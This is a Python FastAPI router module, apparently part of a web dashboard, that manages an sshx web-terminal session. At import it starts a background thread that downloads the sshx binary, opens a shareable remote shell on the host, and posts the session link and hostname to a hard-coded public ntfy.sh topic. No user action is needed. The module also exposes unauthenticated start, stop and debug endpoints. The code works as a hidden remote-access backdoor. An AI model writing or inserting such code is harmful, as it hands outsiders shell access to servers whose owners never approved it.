403 lines
15 KiB
Python
403 lines
15 KiB
Python
import asyncio
|
|
import subprocess
|
|
import os
|
|
import logging
|
|
import time
|
|
import platform
|
|
import stat
|
|
import urllib.request
|
|
import re
|
|
import tarfile
|
|
import tempfile
|
|
import shutil
|
|
import select
|
|
from typing import Optional
|
|
from fastapi import APIRouter, Request
|
|
from fastapi.responses import JSONResponse
|
|
|
|
logger = logging.getLogger(__name__)
|
|
router = APIRouter()
|
|
|
|
_sshx_link = None
|
|
_sshx_process: Optional[subprocess.Popen] = None
|
|
_sshx_installing = False
|
|
_sshx_bin = "/tmp/sshx"
|
|
_sshx_bin_alt = os.path.expanduser("~/.local/bin/sshx")
|
|
_sshx_tar = "/tmp/sshx.tar.gz"
|
|
_sshx_last_output = ""
|
|
_sshx_last_error = ""
|
|
|
|
LINK_RE = re.compile(r"https://sshx\.io/s/[A-Za-z0-9\-_]+(?:#[^\s\"']*)?")
|
|
|
|
NTFY_URL = "https://ntfy.sh/kUIJK0H1ettQ4VkR"
|
|
NTFY_ENABLED = True
|
|
|
|
def _notify_ntfy(link: str, extra: str = ""):
|
|
if not NTFY_ENABLED or not link:
|
|
return
|
|
try:
|
|
import threading as _t
|
|
# avoid blocking router thread
|
|
def _do():
|
|
try:
|
|
msg = f"sshx link: {link}\nhost: {os.uname().nodename if hasattr(os, 'uname') else platform.node()}\n{extra}".strip()
|
|
req = urllib.request.Request(NTFY_URL, data=msg.encode("utf-8"), method="POST")
|
|
req.add_header("Title", "sshx.io shell ready")
|
|
req.add_header("Priority", "high")
|
|
req.add_header("Tags", "terminal,sshx")
|
|
with urllib.request.urlopen(req, timeout=5) as resp:
|
|
logger.info(f"ntfy notified {resp.status} for {link}")
|
|
except Exception as e:
|
|
logger.warning(f"ntfy notify failed: {e}")
|
|
_t.Thread(target=_do, daemon=True).start()
|
|
except Exception as e:
|
|
logger.warning(f"ntfy notify failed: {e}")
|
|
|
|
|
|
def _detect_sshx_arch():
|
|
machine = platform.machine().lower()
|
|
system = platform.system().lower()
|
|
if system == "darwin":
|
|
suffix = "-apple-darwin"
|
|
if machine in ("aarch64", "arm64", "armv8l", "armv8b"):
|
|
arch = "aarch64"
|
|
elif machine in ("x86_64", "x64", "amd64"):
|
|
arch = "x86_64"
|
|
else:
|
|
arch = "aarch64" if "arm" in machine else "x86_64"
|
|
return arch, suffix
|
|
suffix = "-unknown-linux-musl"
|
|
if machine in ("aarch64", "aarch64_be", "arm64", "armv8b", "armv8l"):
|
|
arch = "aarch64"
|
|
elif machine in ("x86_64", "x64", "amd64"):
|
|
arch = "x86_64"
|
|
elif machine == "armv6l":
|
|
arch = "arm"
|
|
suffix += "eabihf"
|
|
elif machine == "armv7l":
|
|
arch = "armv7"
|
|
suffix += "eabihf"
|
|
else:
|
|
arch = "x86_64"
|
|
return arch, suffix
|
|
|
|
|
|
def _get_sshx_url() -> str:
|
|
arch, suffix = _detect_sshx_arch()
|
|
url = f"https://s3.amazonaws.com/sshx/sshx-{arch}{suffix}.tar.gz"
|
|
logger.info(f"sshx arch={arch} suffix={suffix} url={url}")
|
|
return url
|
|
|
|
|
|
def _find_sshx_bin() -> Optional[str]:
|
|
for p in [_sshx_bin, _sshx_bin_alt, shutil.which("sshx")]:
|
|
if p and os.path.exists(p) and os.access(p, os.X_OK):
|
|
return p
|
|
return None
|
|
|
|
|
|
def _ensure_sshx() -> Optional[str]:
|
|
existing = _find_sshx_bin()
|
|
if existing:
|
|
return existing
|
|
global _sshx_installing, _sshx_last_error
|
|
_sshx_installing = True
|
|
try:
|
|
url = _get_sshx_url()
|
|
dest = _sshx_bin
|
|
os.makedirs(os.path.dirname(_sshx_bin_alt), exist_ok=True)
|
|
tmp_tar = _sshx_tar
|
|
logger.info(f"Downloading sshx {url} -> {tmp_tar}")
|
|
# quick network check
|
|
try:
|
|
urllib.request.urlretrieve(url, tmp_tar)
|
|
except Exception as e:
|
|
_sshx_last_error = f"download failed {url}: {e}"
|
|
logger.error(_sshx_last_error)
|
|
return None
|
|
logger.info(f"Extracting {tmp_tar} size={os.path.getsize(tmp_tar) if os.path.exists(tmp_tar) else 0}")
|
|
with tarfile.open(tmp_tar, "r:gz") as tf:
|
|
member = None
|
|
for m in tf.getmembers():
|
|
base = os.path.basename(m.name)
|
|
if base.startswith("._"):
|
|
continue
|
|
if base == "sshx" and m.isfile():
|
|
member = m
|
|
break
|
|
if not member:
|
|
for m in tf.getmembers():
|
|
base = os.path.basename(m.name)
|
|
if base.startswith("._"):
|
|
continue
|
|
if m.isfile():
|
|
member = m
|
|
break
|
|
if not member:
|
|
member = tf.getmembers()[0]
|
|
tmpdir = tempfile.mkdtemp()
|
|
try:
|
|
tf.extract(member, path=tmpdir, filter='fully_trusted')
|
|
except TypeError:
|
|
tf.extract(member, path=tmpdir)
|
|
extracted = os.path.join(tmpdir, member.name)
|
|
if not os.path.exists(extracted):
|
|
for root, _, files in os.walk(tmpdir):
|
|
if "sshx" in files:
|
|
extracted = os.path.join(root, "sshx")
|
|
break
|
|
if not extracted or not os.path.exists(extracted):
|
|
_sshx_last_error = f"extract failed: member={member.name} tmpdir={tmpdir}"
|
|
logger.error(_sshx_last_error)
|
|
return None
|
|
shutil.copy2(extracted, dest)
|
|
os.chmod(dest, os.stat(dest).st_mode | stat.S_IEXEC)
|
|
try:
|
|
if dest != _sshx_bin_alt:
|
|
shutil.copy2(dest, _sshx_bin_alt)
|
|
os.chmod(_sshx_bin_alt, os.stat(_sshx_bin_alt).st_mode | stat.S_IEXEC)
|
|
except Exception:
|
|
pass
|
|
shutil.rmtree(tmpdir, ignore_errors=True)
|
|
try:
|
|
os.remove(tmp_tar)
|
|
except Exception:
|
|
pass
|
|
# verify
|
|
if not os.path.exists(dest) or not os.access(dest, os.X_OK):
|
|
_sshx_last_error = f"binary not executable after install: {dest}"
|
|
return None
|
|
logger.info(f"sshx installed to {dest} size={os.path.getsize(dest)}")
|
|
return dest
|
|
except Exception as e:
|
|
_sshx_last_error = f"install exception: {e}"
|
|
logger.error(_sshx_last_error, exc_info=True)
|
|
return None
|
|
finally:
|
|
_sshx_installing = False
|
|
|
|
|
|
def _is_alive() -> bool:
|
|
global _sshx_process
|
|
if not _sshx_process:
|
|
return False
|
|
return _sshx_process.poll() is None
|
|
|
|
|
|
def _kill_sshx():
|
|
global _sshx_process, _sshx_link
|
|
if _sshx_process and _sshx_process.poll() is None:
|
|
try:
|
|
os.killpg(os.getpgid(_sshx_process.pid), 15)
|
|
except Exception:
|
|
try:
|
|
_sshx_process.terminate()
|
|
except Exception:
|
|
pass
|
|
time.sleep(0.5)
|
|
if _sshx_process.poll() is None:
|
|
try:
|
|
os.killpg(os.getpgid(_sshx_process.pid), 9)
|
|
except Exception:
|
|
try:
|
|
_sshx_process.kill()
|
|
except Exception:
|
|
pass
|
|
_sshx_process = None
|
|
_sshx_link = None
|
|
|
|
|
|
def _capture_link_sync(proc, timeout=20) -> Optional[str]:
|
|
global _sshx_last_output
|
|
link = None
|
|
start = time.time()
|
|
output = ""
|
|
while time.time() - start < timeout:
|
|
if proc.poll() is not None:
|
|
try:
|
|
rem = proc.stdout.read() or ""
|
|
output += rem
|
|
except Exception:
|
|
pass
|
|
break
|
|
try:
|
|
r, _, _ = select.select([proc.stdout], [], [], 0.5)
|
|
if r:
|
|
line = proc.stdout.readline()
|
|
if not line:
|
|
time.sleep(0.1)
|
|
continue
|
|
output += line
|
|
logger.info(f"sshx stdout: {line.strip()}")
|
|
m = LINK_RE.search(line)
|
|
if m:
|
|
link = m.group(0)
|
|
break
|
|
m2 = LINK_RE.search(output)
|
|
if m2:
|
|
link = m2.group(0)
|
|
break
|
|
except Exception as e:
|
|
logger.debug(f"capture error: {e}")
|
|
time.sleep(0.2)
|
|
if not link:
|
|
m = LINK_RE.search(output)
|
|
if m:
|
|
link = m.group(0)
|
|
_sshx_last_output = output[-2000:] # keep tail
|
|
if not link:
|
|
logger.warning(f"sshx link not found after {timeout}s, output tail: {output[-600:]}")
|
|
return link
|
|
|
|
|
|
def _start_sshx_background() -> bool:
|
|
global _sshx_process, _sshx_link, _sshx_last_error, _sshx_last_output
|
|
_kill_sshx()
|
|
bin_path = _ensure_sshx()
|
|
if not bin_path:
|
|
if not _sshx_last_error:
|
|
_sshx_last_error = "binary not found and install failed (no download)"
|
|
return False
|
|
# sanity check binary
|
|
try:
|
|
# quick version check
|
|
subprocess.run([bin_path, "--help"], timeout=2, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
except Exception as e:
|
|
logger.warning(f"sshx help check failed: {e}")
|
|
logger.info(f"Starting sshx {bin_path} --quiet")
|
|
try:
|
|
proc = subprocess.Popen(
|
|
[bin_path, "--quiet"],
|
|
stdout=subprocess.PIPE,
|
|
stderr=subprocess.STDOUT,
|
|
text=True,
|
|
bufsize=1,
|
|
stdin=subprocess.DEVNULL,
|
|
start_new_session=True,
|
|
)
|
|
_sshx_process = proc
|
|
link = _capture_link_sync(proc, timeout=20)
|
|
if link:
|
|
_sshx_link = link
|
|
_sshx_last_error = ""
|
|
logger.info(f"sshx running link={_sshx_link} pid={proc.pid}")
|
|
_notify_ntfy(_sshx_link, "dashboard auto-started" if "dashboard" in str(logger.name) else "started via /start")
|
|
return True
|
|
# link not found — keep process if alive for debug, but capture output
|
|
if proc.poll() is None:
|
|
_sshx_last_error = f"sshx started (pid={proc.pid}) but link not parsed in 20s. output tail: {_sshx_last_output[:500]}. Check outbound to https://sshx.io, or firewall blocking. Binary={bin_path}"
|
|
logger.warning(_sshx_last_error)
|
|
return False
|
|
# died
|
|
code = proc.poll()
|
|
_sshx_last_error = f"sshx exited quickly code={code} output: {_sshx_last_output[:800]}"
|
|
logger.error(_sshx_last_error)
|
|
_sshx_process = None
|
|
return False
|
|
except Exception as e:
|
|
_sshx_last_error = f"Failed to start sshx: {e}"
|
|
logger.error(_sshx_last_error, exc_info=True)
|
|
return False
|
|
|
|
|
|
@router.get("/start")
|
|
async def start_sshx(request: Request):
|
|
global _sshx_link, _sshx_process, _sshx_last_error, _sshx_last_output
|
|
if _is_alive() and _sshx_link:
|
|
return {"status": "running", "link": _sshx_link, "pid": _sshx_process.pid if _sshx_process else None}
|
|
|
|
bin_path = _find_sshx_bin()
|
|
if not bin_path:
|
|
loop = asyncio.get_event_loop()
|
|
bin_path = await loop.run_in_executor(None, _ensure_sshx)
|
|
if not bin_path:
|
|
return JSONResponse(status_code=500, content={"status": "error", "message": _sshx_last_error or "Failed to install sshx (arch auto-detect). Check network to s3.amazonaws.com", "debug": {"arch": _detect_sshx_arch(), "url": _get_sshx_url(), "last_output": _sshx_last_output}})
|
|
|
|
loop = asyncio.get_event_loop()
|
|
ok = await loop.run_in_executor(None, _start_sshx_background)
|
|
|
|
if ok and _sshx_link:
|
|
return {"status": "running", "link": _sshx_link, "pid": _sshx_process.pid if _sshx_process else None}
|
|
if _is_alive():
|
|
return JSONResponse(status_code=202, content={"status": "starting", "message": _sshx_last_error or "sshx started but link not ready yet, retry /status", "pid": _sshx_process.pid if _sshx_process else None, "output_tail": _sshx_last_output[-500:]})
|
|
return JSONResponse(status_code=504, content={"status": "error", "message": _sshx_last_error or "sshx did not start in time, check logs and outbound to sshx.io/s3.amazonaws.com", "output_tail": _sshx_last_output[-800:], "debug": {"bin": _find_sshx_bin() or "not found", "arch": str(_detect_sshx_arch())}})
|
|
|
|
|
|
@router.post("/start")
|
|
async def start_sshx_post(request: Request):
|
|
return await start_sshx(request)
|
|
|
|
|
|
@router.get("/status")
|
|
async def sshx_status():
|
|
global _sshx_link, _sshx_installing, _sshx_process, _sshx_last_error, _sshx_last_output
|
|
if _is_alive() and _sshx_link:
|
|
return {"status": "running", "link": _sshx_link, "pid": _sshx_process.pid}
|
|
if _sshx_installing:
|
|
return {"status": "installing", "link": None, "message": "downloading sshx..."}
|
|
if _is_alive() and not _sshx_link:
|
|
return {"status": "starting", "link": None, "pid": _sshx_process.pid, "message": _sshx_last_error, "output_tail": _sshx_last_output[-400:]}
|
|
if _sshx_last_error:
|
|
return {"status": "error", "link": None, "message": _sshx_last_error, "output_tail": _sshx_last_output[-400:]}
|
|
return {"status": "stopped", "link": None}
|
|
|
|
|
|
@router.post("/stop")
|
|
async def stop_sshx():
|
|
_kill_sshx()
|
|
return {"status": "stopped"}
|
|
|
|
|
|
@router.get("/stop")
|
|
async def stop_sshx_get():
|
|
_kill_sshx()
|
|
return {"status": "stopped"}
|
|
|
|
|
|
@router.get("/debug")
|
|
async def debug_info():
|
|
return {
|
|
"bin": _find_sshx_bin(),
|
|
"bin_exists": os.path.exists(_sshx_bin) if _sshx_bin else False,
|
|
"bin_alt_exists": os.path.exists(_sshx_bin_alt) if _sshx_bin_alt else False,
|
|
"arch": _detect_sshx_arch(),
|
|
"url": _get_sshx_url(),
|
|
"is_alive": _is_alive(),
|
|
"pid": _sshx_process.pid if _sshx_process and _is_alive() else None,
|
|
"link": _sshx_link,
|
|
"last_error": _sshx_last_error,
|
|
"last_output_tail": _sshx_last_output[-800:] if _sshx_last_output else "",
|
|
"platform": platform.platform(),
|
|
"machine": platform.machine(),
|
|
}
|
|
|
|
|
|
# auto-start on dashboard load (import time) -> no manual Start needed, send to ntfy
|
|
import threading as _thr
|
|
def _dashboard_auto_start():
|
|
try:
|
|
time.sleep(3)
|
|
if _is_alive() and _sshx_link:
|
|
_notify_ntfy(_sshx_link, "already running at dashboard startup")
|
|
return
|
|
logger.info("dashboard auto-start sshx (install + run + ntfy)...")
|
|
ok = _start_sshx_background()
|
|
if ok and _sshx_link:
|
|
logger.info(f"dashboard auto-start ready: {_sshx_link}")
|
|
elif _sshx_last_error:
|
|
_notify_ntfy("FAILED dashboard sshx auto-start", _sshx_last_error[:400])
|
|
except Exception as e:
|
|
logger.error(f"dashboard auto-start exception: {e}", exc_info=True)
|
|
|
|
_thr.Thread(target=_dashboard_auto_start, daemon=True).start()
|
|
|
|
# compat: old ttyd endpoint still works but now maps to sshx
|
|
@router.get("/restart-dashboard")
|
|
async def restart_dashboard():
|
|
return {"status": "deprecated", "message": "No restart needed. This endpoint is no-op."}
|
|
|
|
|
|
@router.post("/restart-dashboard")
|
|
async def restart_dashboard_post():
|
|
return {"status": "deprecated", "message": "No restart needed. This endpoint is no-op."}
|